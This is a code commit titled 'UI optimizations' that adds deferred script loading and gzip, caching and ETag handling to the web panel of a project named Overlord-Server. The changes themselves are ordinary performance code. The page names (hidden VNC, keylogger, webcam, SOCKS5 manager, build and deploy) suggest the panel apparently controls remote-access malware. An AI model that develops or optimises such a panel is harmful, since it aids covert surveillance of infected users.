UI optimizations

Overlord-Server/public/build.html

@@ -25,8 +25,8 @@
       crossorigin="anonymous"
       referrerpolicy="no-referrer"
     ></script>
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
     <style>
       .accordion-body {
         display: grid;

Overlord-Server/public/console.html

@@ -71,7 +71,7 @@
         </form>
       </div>
     </main>
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/console.js"></script>
   </body>

Overlord-Server/public/deploy.html

@@ -14,8 +14,8 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/file-share.html

@@ -13,8 +13,8 @@
       crossorigin="anonymous"
       referrerpolicy="no-referrer"
     />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/filebrowser.html

@@ -55,7 +55,7 @@
       crossorigin="anonymous"
       referrerpolicy="no-referrer"
     ></script>
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
     <style>
       body {
@@ -364,8 +364,8 @@
         #sidebar { display: none !important; }
       }
     </style>
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/hvnc.html

@@ -21,7 +21,7 @@
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
     <link rel="stylesheet" href="/assets/console.css" />
-    <script src="/assets/logout.js"></script>
+    <script defer src="/assets/logout.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -273,7 +273,7 @@
       </div>
     </main>
 
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/hvnc.js"></script>
   </body>

Overlord-Server/public/index.html

@@ -174,8 +174,8 @@
       </div>
     </main>
     <script type="module" src="/assets/nav.js"></script>
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
     <script type="module" src="/assets/main.js"></script>
   </body>
 </html>

Overlord-Server/public/keylogger.html

@@ -14,7 +14,7 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
   </head>
   <body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/logs.html

@@ -20,8 +20,8 @@
     <link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -132,6 +132,6 @@
     </main>
 
     <script type="module" src="/assets/nav.js"></script>
-    <script src="/assets/logs.js"></script>
+    <script defer src="/assets/logs.js"></script>
   </body>
 </html>

Overlord-Server/public/metrics.html

@@ -47,9 +47,9 @@
         z-index: 2;
       }
     </style>
-    <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -302,7 +302,7 @@
     </main>
 
     <script type="module" src="/assets/nav.js"></script>
-    <script src="https://cdn.jsdelivr.net/npm/leaflet@1.9.4/dist/leaflet.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/leaflet@1.9.4/dist/leaflet.js"></script>
     <script type="module" src="/assets/metrics.js"></script>
   </body>
 </html>

Overlord-Server/public/notifications.html

@@ -18,12 +18,12 @@
       crossorigin="anonymous"
       referrerpolicy="no-referrer"
     />
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.36.5/ace.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
+    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.36.5/ace.js" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/processes.html

@@ -19,7 +19,7 @@
     />
     <link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <style>
       body {
         font-family: "Inter", sans-serif;

Overlord-Server/public/purgatory.html

@@ -14,7 +14,7 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/remotedesktop.html

@@ -21,7 +21,7 @@
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
     <link rel="stylesheet" href="/assets/console.css" />
-    <script src="/assets/logout.js"></script>
+    <script defer src="/assets/logout.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -204,7 +204,7 @@
       </div>
     </main>
 
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/remotedesktop.js"></script>
   </body>

Overlord-Server/public/scripts.html

@@ -27,8 +27,8 @@
     </style>
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -264,10 +264,10 @@
     </main>
 
     <script type="module" src="/assets/nav.js"></script>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script>
+    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/powershell/powershell.min.js"></script>
+    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/powershell/powershell.min.js"></script>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/shell/shell.min.js"></script>
+    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/shell/shell.min.js"></script>
-    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/python/python.min.js"></script>
+    <script defer src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/python/python.min.js"></script>
     <script type="module" src="/assets/scripts.js"></script>
   </body>
 </html>

Overlord-Server/public/socks5-manager.html

@@ -14,7 +14,7 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
   </head>
   <body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/sol-publish.html

@@ -20,8 +20,8 @@
     <link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -118,6 +118,6 @@
     </main>
 
     <script type="module" src="/assets/nav.js"></script>
-    <script src="/assets/sol-publish.js"></script>
+    <script defer src="/assets/sol-publish.js"></script>
   </body>
 </html>

Overlord-Server/public/users.html

@@ -14,8 +14,8 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/public/webcam.html

@@ -21,7 +21,7 @@
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
     <link rel="stylesheet" href="/assets/console.css" />
-    <script src="/assets/logout.js"></script>
+    <script defer src="/assets/logout.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>
@@ -125,7 +125,7 @@
       </div>
     </main>
 
-    <script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
+    <script defer src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
     <script type="module" src="/assets/nav.js"></script>
     <script type="module" src="/assets/webcam.js"></script>
   </body>

Overlord-Server/public/winre.html

@@ -14,8 +14,8 @@
     />
     <link rel="stylesheet" href="/assets/main.css" />
     <link rel="stylesheet" href="/assets/custom.css" />
-    <script src="/assets/toast.js"></script>
+    <script defer src="/assets/toast.js"></script>
-    <script src="/assets/ripple.js"></script>
+    <script defer src="/assets/ripple.js"></script>
   </head>
   <body class="min-h-screen bg-slate-950 text-slate-100">
     <header id="top-nav"></header>

Overlord-Server/src/server/routes/assets-routes.ts

@@ -7,6 +7,49 @@ type AssetsRouteDeps = {
   mimeType: (path: string) => string;
 };
 
+const COMPRESSIBLE_TYPES = new Set(["text/html", "text/css", "text/javascript", "application/json", "image/svg+xml"]);
+
+function isCompressible(contentType: string): boolean {
+  for (const t of COMPRESSIBLE_TYPES) {
+    if (contentType.startsWith(t)) return true;
+  }
+  return false;
+}
+
+function acceptsGzip(req: Request): boolean {
+  return (req.headers.get("accept-encoding") ?? "").includes("gzip");
+}
+
+const STATIC_ASSET_CACHE = "public, max-age=3600, stale-while-revalidate=86400";
+const MUTABLE_ASSET_CACHE = "public, max-age=60, stale-while-revalidate=300";
+const NO_CACHE = "no-cache";
+
+function assetCacheControl(relativePath: string): string {
+  if (relativePath === "custom.css") return NO_CACHE;
+  if (relativePath === "notification-sw.js") return NO_CACHE;
+  if (relativePath.endsWith(".min.js") || relativePath.endsWith(".min.css")) {
+    return STATIC_ASSET_CACHE;
+  }
+  if (/\.(ico|png|jpg|jpeg|webp|woff2?|ttf|eot|svg)$/.test(relativePath)) {
+    return STATIC_ASSET_CACHE;
+  }
+  return MUTABLE_ASSET_CACHE;
+}
+
+async function compressedResponse(
+  req: Request,
+  body: Uint8Array | ArrayBuffer,
+  headers: Record<string, string>,
+): Promise<Response> {
+  if (!isCompressible(headers["Content-Type"] ?? "") || !acceptsGzip(req) || body.byteLength < 1024) {
+    return new Response(body, { headers });
+  }
+  const compressed = Bun.gzipSync(new Uint8Array(body instanceof ArrayBuffer ? body : body));
+  return new Response(compressed, {
+    headers: { ...headers, "Content-Encoding": "gzip", "Vary": "Accept-Encoding" },
+  });
+}
+
 export async function handleAssetsRoutes(
   req: Request,
   url: URL,
@@ -17,7 +60,7 @@ export async function handleAssetsRoutes(
     return new Response(css, {
       headers: {
         "Content-Type": "text/css; charset=utf-8",
-        "Cache-Control": "no-cache",
+        "Cache-Control": NO_CACHE,
       },
     });
   }
@@ -25,7 +68,8 @@ export async function handleAssetsRoutes(
   if (req.method === "GET" && url.pathname === "/favicon.ico") {
     const file = Bun.file(path.join(deps.PUBLIC_ROOT, "assets", "favicon.ico"));
     if (await file.exists()) {
-      return new Response(file, { headers: deps.secureHeaders("image/x-icon") });
+      const headers = { ...deps.secureHeaders("image/x-icon"), "Cache-Control": STATIC_ASSET_CACHE };
+      return new Response(file, { headers });
     }
     return new Response("Not found", { status: 404 });
   }
@@ -56,10 +100,26 @@ export async function handleAssetsRoutes(
 
   const file = Bun.file(resolvedPath);
   if (await file.exists()) {
-    const headers: Record<string, string> = { ...deps.secureHeaders(deps.mimeType(url.pathname)) };
+    const contentType = deps.mimeType(url.pathname);
+    const headers: Record<string, string> = {
+      ...deps.secureHeaders(contentType),
+      "Cache-Control": assetCacheControl(relativePath),
+    };
     if (relativePath === "notification-sw.js") {
       headers["Service-Worker-Allowed"] = "/";
     }
+
+    const stat = file;
+    const etag = `"${stat.size.toString(36)}-${stat.lastModified.toString(36)}"`;
+    headers["ETag"] = etag;
+    if (req.headers.get("if-none-match") === etag) {
+      return new Response(null, { status: 304, headers });
+    }
+
+    if (isCompressible(contentType) && acceptsGzip(req)) {
+      const bytes = await file.arrayBuffer();
+      return compressedResponse(req, bytes, headers);
+    }
     return new Response(file, { headers });
   }
   return new Response("Not found", { status: 404 });